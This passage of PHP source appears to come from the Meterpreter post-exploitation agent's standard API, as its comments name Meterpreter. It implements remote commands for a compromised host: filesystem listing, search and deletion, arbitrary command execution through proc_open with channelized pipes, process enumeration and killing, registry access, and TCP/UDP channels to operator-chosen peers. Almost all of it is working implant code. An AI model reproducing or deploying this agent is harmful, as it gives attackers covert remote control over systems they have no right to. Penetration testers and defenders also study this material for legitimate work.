#= 4.0.0. * @author soywiz at php dot net * @since 17-Jul-2006 10:12 */ if (!function_exists('fnmatch')) { function fnmatch($pattern, $string) { return @preg_match('/^' . strtr(addcslashes($pattern, '\\/.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string); } } /** * Prepends $string to each element of $array * If $deep is true, will indeed also apply to sub-arrays * @author BigueNique AT yahoo DOT ca * @since 080324 */ if (!function_exists('array_prepend')) { function array_prepend($array, $string, $deep=false) { if(empty($array)||empty($string)) return $array; foreach($array as $key => $element) if(is_array($element)) if($deep) $array[$key] = array_prepend($element,$string,$deep); else trigger_error('array_prepend: array element',E_USER_WARNING); else $array[$key] = $string.$element; return $array; } } ## END Search Helpers if (!function_exists('cononicalize_path')) { function cononicalize_path($path) { $path = str_replace(array("/", "\\"), DIRECTORY_SEPARATOR, $path); return $path; } } # # Need to nail down what this should actually do. Ruby's File.expand_path is # for cononicalizing a path (e.g., removing /./ and ../) and expanding "~" into # a path to the current user's homedir. In contrast, Meterpreter has # traditionally used this to get environment variables from the server. # if (!function_exists('stdapi_fs_file_expand_path')) { function stdapi_fs_file_expand_path($req, &$pkt) { my_print("doing expand_path"); $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); $env = $path_tlv['value']; my_print("Request for: '$env'"); if (!is_windows()) { # Handle some basic windows-isms when we can switch ($env) { case "%COMSPEC%": $path = "/bin/sh"; break; case "%TEMP%": case "%TMP%": $path = "/tmp"; break; default: # Don't know what the user meant, just try it as an environment # variable and hope for the best. $path = getenv($env); } } else { $path = getenv($env); if (empty($path) and ($env == "%COMSPEC%")) { # hope it's in the path $path = "cmd.exe"; } } my_print("Returning with an answer of: '$path'"); if ($path) { packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path)); return ERROR_SUCCESS; } return ERROR_FAILURE; } } # works if (!function_exists('stdapi_fs_chdir')) { function stdapi_fs_chdir($req, &$pkt) { my_print("doing chdir"); $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); $ret = @chdir(cononicalize_path($path_tlv['value'])); return $ret ? ERROR_SUCCESS : ERROR_FAILURE; } } # works if (!function_exists('stdapi_fs_delete')) { function stdapi_fs_delete($req, &$pkt) { my_print("doing delete"); $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME); $ret = @unlink(cononicalize_path($path_tlv['value'])); return $ret ? ERROR_SUCCESS : ERROR_FAILURE; } } # works if (!function_exists('stdapi_fs_getwd')) { function stdapi_fs_getwd($req, &$pkt) { my_print("doing pwd"); packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd())); return ERROR_SUCCESS; } } # works partially, need to get the path argument to mean the same thing as in # windows if (!function_exists('stdapi_fs_ls')) { function stdapi_fs_ls($req, &$pkt) { my_print("doing ls"); $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); $path = cononicalize_path($path_tlv['value']); $dir_handle = @opendir($path); if ($dir_handle) { while ($file = readdir($dir_handle)) { if ($file != "." && $file != "..") { #my_print("Adding file $file"); packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $file)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path . DIRECTORY_SEPARATOR . $file)); $st = stat($path . DIRECTORY_SEPARATOR . $file); $st_buf = ""; $st_buf .= pack("V", $st['dev']); $st_buf .= pack("v", $st['ino']); $st_buf .= pack("v", $st['mode']); $st_buf .= pack("v", $st['nlink']); $st_buf .= pack("v", $st['uid']); $st_buf .= pack("v", $st['gid']); $st_buf .= pack("v", 0); $st_buf .= pack("V", $st['rdev']); $st_buf .= pack("V", $st['size']); $st_buf .= pack("V", $st['atime']); $st_buf .= pack("V", $st['mtime']); $st_buf .= pack("V", $st['ctime']); $st_buf .= pack("V", $st['blksize']); $st_buf .= pack("V", $st['blocks']); packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf)); } } closedir($dir_handle); return ERROR_SUCCESS; } else { return ERROR_FAILURE; } } } if (!function_exists('stdapi_fs_stat')) { function stdapi_fs_stat($req, &$pkt) { my_print("doing stat"); $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); $path = cononicalize_path($path_tlv['value']); $st = stat($path); if ($st) { $st_buf = ""; $st_buf .= pack("V", $st['dev']); $st_buf .= pack("v", $st['ino']); $st_buf .= pack("v", $st['mode']); $st_buf .= pack("v", $st['nlink']); $st_buf .= pack("v", $st['uid']); $st_buf .= pack("v", $st['gid']); $st_buf .= pack("v", 0); $st_buf .= pack("V", $st['rdev']); $st_buf .= pack("V", $st['size']); $st_buf .= pack("V", $st['atime']); $st_buf .= pack("V", $st['mtime']); $st_buf .= pack("V", $st['ctime']); $st_buf .= pack("V", $st['blksize']); $st_buf .= pack("V", $st['blocks']); packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf)); return ERROR_SUCCESS; } else { return ERROR_FAILURE; } } } # works if (!function_exists('stdapi_fs_delete_file')) { function stdapi_fs_delete_file($req, &$pkt) { my_print("doing delete"); $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); $path = cononicalize_path($path_tlv['value']); if ($path && is_file($path)) { $worked = @unlink($path); return ($worked ? ERROR_SUCCESS : ERROR_FAILURE); } else { return ERROR_FAILURE; } } } if (!function_exists('stdapi_fs_search')) { function stdapi_fs_search($req, &$pkt) { my_print("doing search"); $root_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_ROOT); $root = cononicalize_path($root_tlv['value']); $glob_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_GLOB); $glob = cononicalize_path($glob_tlv['value']); $recurse_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_RECURSE); $recurse = $recurse_tlv['value']; if (!$root) { $root = '.'; } my_print("glob: $glob, root: $root, recurse: $recurse"); $flags = GLOB_PATH; if ($recurse) { $flags |= GLOB_RECURSE; } $files = safe_glob($root ."/". $glob, $flags); if ($files and is_array($files)) { dump_array($files); foreach ($files as $file) { $file_tlvs = ""; $s = stat($file); $p = dirname($file); $f = basename($file); $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_PATH, $p)); $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_NAME, $f)); $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_SIZE, $s['size'])); packet_add_tlv($pkt, create_tlv(TLV_TYPE_SEARCH_RESULTS, $file_tlvs)); } } return ERROR_SUCCESS; } } # Sys Config # works if (!function_exists('stdapi_sys_config_getuid')) { function stdapi_sys_config_getuid($req, &$pkt) { my_print("doing getuid"); if (is_callable('posix_getuid')) { $uid = posix_getuid(); $pwinfo = posix_getpwuid($uid); $user = $pwinfo['name'] . " ($uid)"; } else { # The posix functions aren't available, this is probably windows. Use # the functions for getting user name and uid based on file ownership # instead. $user = get_current_user() . " (" . getmyuid() . ")"; } packet_add_tlv($pkt, create_tlv(TLV_TYPE_USER_NAME, $user)); return ERROR_SUCCESS; } } # Unimplemented becuase it's unimplementable if (!function_exists('stdapi_sys_config_rev2self')) { function stdapi_sys_config_rev2self($req, &$pkt) { my_print("doing rev2self"); return ERROR_FAILURE; } } # works if (!function_exists('stdapi_sys_config_sysinfo')) { function stdapi_sys_config_sysinfo($req, &$pkt) { my_print("doing sysinfo"); packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n"))); packet_add_tlv($pkt, create_tlv(TLV_TYPE_OS_NAME, php_uname())); return ERROR_SUCCESS; } } # Global list of processes so we know what to kill when a channel gets closed $GLOBALS['processes'] = array(); if (!function_exists('stdapi_sys_process_execute')) { function stdapi_sys_process_execute($req, &$pkt) { global $channel_process_map, $processes; my_print("doing execute"); $cmd_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_PATH); $args_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_ARGUMENTS); $flags_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_FLAGS); $cmd = $cmd_tlv['value']; $args = $args_tlv['value']; $flags = $flags_tlv['value']; # If there was no command specified, well, a user sending an empty command # deserves failure. my_print("Cmd: $cmd $args"); if (0 > strlen($cmd)) { return ERROR_FAILURE; } $real_cmd = $cmd ." ". $args; $pipe_desc = array(array('pipe','r'), array('pipe','w')); if (is_windows()) { # see http://us2.php.net/manual/en/function.proc-open.php#97012 array_push($pipe_desc, array('pipe','a')); } else { array_push($pipe_desc, array('pipe','w')); } # Now that we've got the command built, run it. If it worked, we'll send # back a handle identifier. $handle = proc_open($real_cmd, $pipe_desc, $pipes); if (!is_resource($handle)) { return ERROR_FAILURE; } if (is_callable('proc_get_status')) { $status = proc_get_status($handle); $pid = $status['pid']; } else { $pid = 0; } $proc = array( 'handle' => $handle, 'pipes' => $pipes ); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, $pid)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes))); if ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { my_print("Channelized"); # Then the client wants a channel set up to handle this process' stdio, # register all the necessary junk to make that happen. foreach ($pipes as $p) { register_stream($p); } #stream_set_blocking($pipes[0], 1); #stream_set_blocking($pipes[1], 1); #stream_set_blocking($pipes[2], 1); $cid = register_channel($pipes[0], $pipes[1], $pipes[2]); $channel_process_map[$cid] = $proc; $proc['cid'] = $cid; packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); #} else { # Otherwise, don't care about stdin/stdout, just run the command } $processes[] = $proc; return ERROR_SUCCESS; } } if (!function_exists('stdapi_sys_process_close')) { function stdapi_sys_process_close($req, &$pkt) { global $processes; my_print("doing process_close"); $handle_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_HANDLE); if (array_key_exists($handle_tlv['value'], $processes)) { close_process($processes[$handle_tlv['value']]); } return ERROR_SUCCESS; } } if (!function_exists('close_process')) { function close_process($proc) { if ($proc) { my_print("Closing process handle {$proc['handle']}"); # In the case of a channelized process, this will be redundant as the # channel_close will also try to close all of these handles. There's no # real harm in that, so go ahead and just always make sure they get # closed. foreach ($proc['pipes'] as $f) { @fclose($f); } if (is_callable('proc_get_status')) { $status = proc_get_status($proc['handle']); } else { # fake a running process on php < 4.3 $status = array('running' => true); } # proc_close blocks waiting for the child to exit, so if it's still # running, don't take a chance on deadlock and just sigkill it if we # can. We can't on php < 4.3, so don't do anything. This will leave # zombie processes, but that's better than deadlock. if ($status['running'] == false) { proc_close($proc['handle']); } else { if (is_callable('proc_terminate')) { proc_terminate($proc['handle'], 9); } } if (array_key_exists('cid', $proc) && $channel_process_map[$proc['cid']]) { unset($channel_process_map[$proc['cid']]); } } } } # Works, but not very portable. There doesn't appear to be a PHP way of # getting a list of processes, so we just shell out to ps/tasklist.exe. I need # to decide what options to send to ps for portability and for information # usefulness. if (!function_exists('stdapi_sys_process_get_processes')) { function stdapi_sys_process_get_processes($req, &$pkt) { my_print("doing get_processes"); $list = array(); if (is_windows()) { # This command produces a line like: # "tasklist.exe","2264","Console","0","4,556 K","Running","EGYPT-B3E55BF3C\Administrator","0:00:00","OleMainThreadWndName" $output = my_cmd("tasklist /v /fo csv /nh"); $lines = explode("\n", trim($output)); foreach ($lines as $line) { $line = trim($line); # # Ghetto CSV parsing # $pieces = preg_split('/","/', $line); # Strip off the initial quote on the first and last elements $pieces[0] = substr($pieces[0], 1, strlen($pieces[0])); $cnt = count($pieces) - 1; $pieces[$cnt] = substr($pieces[$cnt], 1, strlen($pieces[$cnt])); $proc_info = array($pieces[1], $pieces[6], $pieces[0]); array_push($list, $proc_info); } } else { # This command produces a line like: # 1553 root /sbin/getty -8 38400 tty1 $output = my_cmd("ps ax -w -o pid,user,cmd --no-header 2>/dev/null"); $lines = explode("\n", trim($output)); foreach ($lines as $line) { array_push($list, preg_split("/\s+/", trim($line))); } } foreach ($list as $proc) { $grp = ""; $grp .= tlv_pack(create_tlv(TLV_TYPE_PID, $proc[0])); $grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[1])); $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[2])); # Strip the pid and the user name off the front; the rest will be the # full command line array_shift($proc); array_shift($proc); $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_PATH, join($proc, " "))); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_GROUP, $grp)); } return ERROR_SUCCESS; } } # works if (!function_exists('stdapi_sys_process_getpid')) { function stdapi_sys_process_getpid($req, &$pkt) { my_print("doing getpid"); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid())); return ERROR_SUCCESS; } } if (!function_exists('stdapi_sys_process_kill')) { function stdapi_sys_process_kill($req, &$pkt) { # The existence of posix_kill is unlikely (it's a php compile-time option # that isn't enabled by default, but better to try it and avoid shelling # out when unnecessary. my_print("doing kill"); $pid_tlv = packet_get_tlv($req, TLV_TYPE_PID); $pid = $pid_tlv['value']; if (is_callable('posix_kill')) { $ret = posix_kill($pid, 9); $ret = $ret ? ERROR_SUCCESS : posix_get_last_error(); if ($ret != ERROR_SUCCESS) { my_print(posix_strerror($ret)); } } else { $ret = ERROR_FAILURE; if (is_windows()) { my_cmd("taskkill /f /pid $pid"); # Don't know how to check for success yet, so just assume it worked $ret = ERROR_SUCCESS; } else { if ("foo" == my_cmd("kill -9 $pid && echo foo")) { $ret = ERROR_SUCCESS; } } } return $ret; } } if (!function_exists('stdapi_net_socket_tcp_shutdown')) { function stdapi_net_socket_tcp_shutdown($req, &$pkt) { my_print("doing stdapi_net_socket_tcp_shutdown"); $cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $c = get_channel_by_id($cid_tlv['value']); if ($c && $c['type'] == 'socket') { @socket_shutdown($c[0], $how); $ret = ERROR_SUCCESS; } else { $ret = ERROR_FAILURE; } return $ret; } } # # Registry # if (!function_exists('register_registry_key')) { $_GLOBALS['registry_handles'] = array(); function register_registry_key($key) { global $registry_handles; $registry_handles[] = $key; return count($registry_handles) - 1; } } if (!function_exists('deregister_registry_key')) { function deregister_registry_key($id) { global $registry_handles; $registry_handles[$id] = null; } } if (!function_exists('stdapi_registry_create_key')) { function stdapi_registry_create_key($req, &$pkt) { my_print("doing stdapi_registry_create_key"); if (is_windows() and is_callable('reg_open_key')) { $root_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY); $base_tlv = packet_get_tlv($req, TLV_TYPE_BASE_KEY); $perm_tlv = packet_get_tlv($req, TLV_TYPE_PERMISSION); dump_array($root_tlv); dump_array($base_tlv); # For some reason the php constants for registry root keys do not have # the high bit set and are 1 less than the normal Windows constants, so # fix it here. $root = ($root_tlv['value'] & ~0x80000000) + 1; $base = $base_tlv['value']; my_print("reg opening '$root', '$base'"); $key = reg_open_key($root, $base); if (!$key) { my_print("reg open failed: $key"); return ERROR_FAILURE; } $key_id = register_registry_key($key); packet_add_tlv($pkt, create_tlv(TLV_TYPE_HKEY, $key_id)); return ERROR_SUCCESS; } else { return ERROR_FAILURE; } } } if (!function_exists('stdapi_registry_close_key')) { function stdapi_registry_close_key($req, &$pkt) { if (is_windows() and is_callable('reg_open_key')) { global $registry_handles; my_print("doing stdapi_registry_close_key"); $key_id_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY); $key_id = $key_id_tlv['value']; reg_close_key($registry_handles[$key_id]); deregister_registry_key($key_id); return ERROR_SUCCESS; } else { return ERROR_FAILURE; } } } if (!function_exists('stdapi_registry_query_value')) { function stdapi_registry_query_value($req, &$pkt) { if (is_windows() and is_callable('reg_open_key')) { global $registry_handles; my_print("doing stdapi_registry_query_value"); $key_id_tlv = packet_get_tlv($req, TLV_TYPE_HKEY); $key_id = $key_id_tlv['value']; $name_tlv = packet_get_tlv($req, TLV_TYPE_VALUE_NAME); $name = $name_tlv['value']; #my_print("Looking up stored key handle $key_id"); #dump_array($registry_handles, "Reg handles"); $key = $registry_handles[$key_id]; if (!$key) { return ERROR_FAILURE; } $data = reg_get_value($key, $name); my_print("Found data for $key\\$name : $data, ". is_int($data)); # There doesn't appear to be an API to get the type, all we can do is # infer based on what the value looks like. =( if (is_int($data)) { $type = REG_DWORD; $data = pack("N", (int)$data); } else { $type = REG_SZ; # The api strips the null for us, so put it back $data = $data ."\x00"; } packet_add_tlv($pkt, create_tlv(TLV_TYPE_VALUE_DATA, $data)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_VALUE_TYPE, $type)); } else { return ERROR_FAILURE; } } } if (!function_exists('stdapi_registry_set_value')) { function stdapi_registry_set_value($req, &$pkt) { if (is_windows() and is_callable('reg_open_key')) { global $registry_handles; my_print("doing stdapi_registry_set_value"); $key_id_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY); $key_id = $key_id_tlv['value']; } else { return ERROR_FAILURE; } } } # END STDAPI ## # Channel Helper Functions ## if (!function_exists('channel_create_stdapi_fs_file')) { function channel_create_stdapi_fs_file($req, &$pkt) { $fpath_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); $mode_tlv = packet_get_tlv($req, TLV_TYPE_FILE_MODE); #my_print("Opening path {$fpath_tlv['value']} with mode {$mode_tlv['value']}"); if (!$mode_tlv) { $mode_tlv = array('value' => 'rb'); } $fd = @fopen($fpath_tlv['value'], $mode_tlv['value']); if (is_resource($fd)) { register_stream($fd); $id = register_channel($fd); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); return ERROR_SUCCESS; } else { my_print("Failed to open"); } return ERROR_FAILURE; } } if (!function_exists('channel_create_stdapi_net_tcp_client')) { function channel_create_stdapi_net_tcp_client($req, &$pkt) { my_print("creating tcp client"); $peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST); $peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT); $local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST); $local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT); $retries_tlv = packet_get_tlv($req, TLV_TYPE_CONNECT_RETRIES); if ($retries_tlv['value']) { $retries = $retries_tlv['value']; } else { $retries = 1; } for ($i = 0; $i < $retries; $i++) { $sock = connect($peer_host_tlv['value'], $peer_port_tlv['value']); if ($sock) { break; } } if (!$sock) { return ERROR_CONNECTION_ERROR; } # # If we got here, the connection worked, respond with the new channel ID # $id = register_channel($sock); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); add_reader($sock); return ERROR_SUCCESS; } } if (!function_exists('channel_create_stdapi_net_udp_client')) { function channel_create_stdapi_net_udp_client($req, &$pkt) { my_print("creating udp client"); $peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST); $peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT); # We can't actually do anything with local_host and local_port because PHP # doesn't let us specify these values in any of the exposed socket API # functions. #$local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST); #$local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT); $sock = connect($peer_host_tlv['value'], $peer_port_tlv['value'], 'udp'); my_print("UDP channel on {$sock}"); if (!$sock) { return ERROR_CONNECTION_ERROR; } # # If we got here, the connection worked, respond with the new channel ID # $id = register_channel($sock); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); add_reader($sock); return ERROR_SUCCESS; } }